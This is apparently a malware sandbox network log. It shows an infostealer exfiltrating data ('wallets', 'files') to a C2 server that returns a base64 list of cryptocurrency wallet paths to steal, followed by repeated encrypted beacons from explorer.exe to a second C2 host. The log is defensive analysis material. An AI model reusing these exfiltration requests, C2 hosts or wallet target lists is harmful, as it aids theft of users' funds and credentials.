Dec 2, 2023 18:03:02.984395027 CET	529	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJD Host: dskflherlkhopihsf.com Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="message"wallets------JJJJEBGDAFHJEBGDGIJD--
Dec 2, 2023 18:03:03.202979088 CET	1340	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8EzkeASZS7FBnh85LstHRtzYlQM4RBUQwEgmEaPm6O94XYGBp5qTSP97C78FjY7Unj56l9xcOsjrNkp5IQ4LE8232%2FdgN70cfF7EnIvtoS9VoHpNh1hsBW%2BJ9f5v4hocLugzgajU5BQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f5241bcc83592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 36 32 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 46 78 43 61 58 52 6a 62 32 6c 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 48 64 68 62 47 78 6c 64 43 35 6b 59 58 52 38 4d 58 78 43 61 58 52 6a 62 32 6c 75 49 45 4e 76 63 6d 55 67 54 32 78 6b 66 46 78 43 61 58 52 6a 62 32 6c 75 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 6b 59 58 52 38 4d 48 78 45 62 32 64 6c 59 32 39 70 62 6e 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 58 46 4a 68 64 6d 56 75 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 6b 59 58 52 38 4d 48 78 45 59 57 56 6b 59 57 78 31 63 79 42 4e 59 57 6c 75 62 6d 56 30 66 46 78 45 59 57 56 6b 59 57 78 31 63 79 42 4e 59 57 6c 75 62 6d 56 30 58 48 64 68 62 47 78 6c 64 48 4e 63 66 48 4e 6f 5a 53 6f 75 63 33 46 73 61 58 52 6c 66 44 42 38 51 6d 78 76 59 32 74 7a 64 48 4a 6c 59 57 30 67 52 33 4a 6c 5a 57 35 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 58 45 64 79 5a 57 56 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 78 66 46 64 68 63 32 46 69 61 53 42 58 59 57 78 73 5a 58 52 38 58 46 64 68 62 47 78 6c 64 46 64 68 63 32 46 69 61 56 78 44 62 47 6c 6c 62 6e 52 63 56 32 46 73 62 47 56 30 63 31 78 38 4b 69 35 71 63 32 39 75 66 44 42 38 52 58 52 6f 5a 58 4a 6c 64 57 31 38 58 45 56 30 61 47 56 79 5a 58 56 74 58 48 78 72 5a 58 6c 7a 64 47 39 79 5a 58 77 77 66 45 56 73 5a 57 4e 30 63 6e 56 74 66 46 78 46 62 47 56 6a 64 48 4a 31 62 56 78 33 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 69 70 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 55 78 55 51 33 78 63 52 57 78 6c 59 33 52 79 64 57 30 74 54 46 52 44 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 77 66 45 56 34 62 32 52 31 63 33 78 63 52 58 68 76 5a 48 56 7a 58 48 78 6c 65 47 39 6b 64 58 4d 75 59 32 39 75 5a 69 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 66 46 78 46 65 47 39 6b 64 58 4e 63 66 48 64 70 62 6d 52 76 64 79 31 7a 64 47 46 30 5a 53 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 66 46 78 46 65 Data Ascii: 628Qml0Y29pbiBDb3JlfFxCaXRjb2luXHdhbGxldHNcfHdhbGxldC5kYXR8MXxCaXRjb2luIENvcmUgT2xkfFxCaXRjb2luXHwqd2FsbGV0Ki5kYXR8MHxEb2dlY29pbnxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8XFJhdmVuXHwqd2FsbGV0Ki5kYXR8MHxEYWVkYWx1cyBNYWlubmV0fFxEYWVkYWx1cyBNYWlubmV0XHdhbGxldHNcfHNoZSouc3FsaXRlfDB8QmxvY2tzdHJlYW0gR3JlZW58XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8XFdhbGxldFdhc2FiaVxDbGllbnRcV2FsbGV0c1x8Ki5qc29ufDB8RXRoZXJldW18XEV0aGVyZXVtXHxrZXlzdG9yZXwwfEVsZWN0cnVtfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3xcRWxlY3RydW0tTFRDXHdhbGxldHNcfCouKnwwfEV4b2R1c3xcRXhvZHVzXHxleG9kdXMuY29uZi5qc29ufDB8RXhvZHVzfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfFxFe
Dec 2, 2023 18:03:03.232892990 CET	527	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHII Host: dskflherlkhopihsf.com Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="message"files------CFCFHJDBKJKEBFHJEHII--
Dec 2, 2023 18:03:03.451880932 CET	646	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uvqr7%2FKfKaAO766uB8hC8nW7Y5WskJahoOvzScHRlGs7AMYMlkVWDznuaMwdu673q4viixF3R8v9py32HMZKy2WEpAzTjFipMB77btJVt5TkqlCPePLZrx72L6UH6Maszah%2FLf6c%2Fag%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f5241d5ddf592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 2, 2023 18:03:03.714581013 CET	265	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE Host: dskflherlkhopihsf.com Content-Length: 137167 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2023 18:03:04.506164074 CET	650	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1BcbZYc7iZpWkOlLID9Cs6Wy1GTbwNNWDhaRIKBupAy%2BZW7zKN%2FWBl4%2BJ%2BZh6ibEESzg9QN3669Ut%2FSl247JDWsY1gZhKh15VrPFRPabGqLnoenVg5veqAP6UZjqeWbcNgdtsaNRerU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f52420585c592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 2, 2023 18:03:04.564250946 CET	526	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJEBKKEHJDGCBGCFCG Host: dskflherlkhopihsf.com Content-Length: 264 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 38 62 38 61 65 37 62 62 64 38 33 63 35 32 35 39 30 33 30 31 33 35 31 61 31 30 30 62 38 35 38 66 32 63 30 66 65 66 63 33 36 33 34 38 65 65 37 37 38 31 61 37 62 64 65 36 39 36 37 65 33 66 35 32 35 65 31 38 35 66 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 64 6f 6e 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 45 42 4b 4b 45 48 4a 44 47 43 42 47 43 46 43 47 2d 2d 0d 0a Data Ascii: ------BKJJEBKKEHJDGCBGCFCGContent-Disposition: form-data; name="token"c78b8ae7bbd83c52590301351a100b858f2c0fefc36348ee7781a7bde6967e3f525e185f------BKJJEBKKEHJDGCBGCFCGContent-Disposition: form-data; name="message"done------BKJJEBKKEHJDGCBGCFCG--
Dec 2, 2023 18:03:04.799468994 CET	652	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pfV67CkIL%2F9e18uB2V%2F1sG0a3vmOkBpnMvAbDjT1mTEzLCHV96oyjqXBPAEbxC0lol%2B8tasyuhl%2FV7s12XzpaiW%2B34X7sBJwfFTCBfZeK4%2BNRdbPfgm71B6Ir71aaKVG0om1lQlD7ZM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f52425ace9592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49771	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:09.930861950 CET	334	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ixgapilxhfhte.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:09.930912971 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:10.175653934 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49772	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:10.763515949 CET	337	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aiydxevdygfpdidk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:10.763650894 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:11.013351917 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49773	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:11.711745024 CET	333	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lascnygrmprq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:11.711745024 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:11.948698044 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49774	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:12.781168938 CET	336	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hqunygwatnnaobw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:12.781322956 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:13.018227100 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49775	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:13.823687077 CET	335	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mdjshxexxetdxb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:13.823734045 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:14.069739103 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49776	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:14.909068108 CET	335	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://outlegyndickqy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:14.909068108 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:15.160593033 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49777	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:15.985750914 CET	333	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xyqmlduanbxo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:15.985750914 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:16.232331038 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49778	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:18.923152924 CET	337	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vsaadrlmorhoxuxj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:18.923197985 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:19.161830902 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49779	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:20.153009892 CET	334	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://okkddsfgrdalc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:20.153069973 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:20.402282000 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49780	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:21.340395927 CET	335	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mxgricqgblinom.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:21.340451002 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:21.589652061 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49781	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:03:23.841814995 CET	337	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tflebimkqrdrpqrd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 2, 2023 18:03:23.841892004 CET	163	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bONfy&5c50
Dec 2, 2023 18:03:24.093755960 CET	248	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:03:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49782	91.215.85.17	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
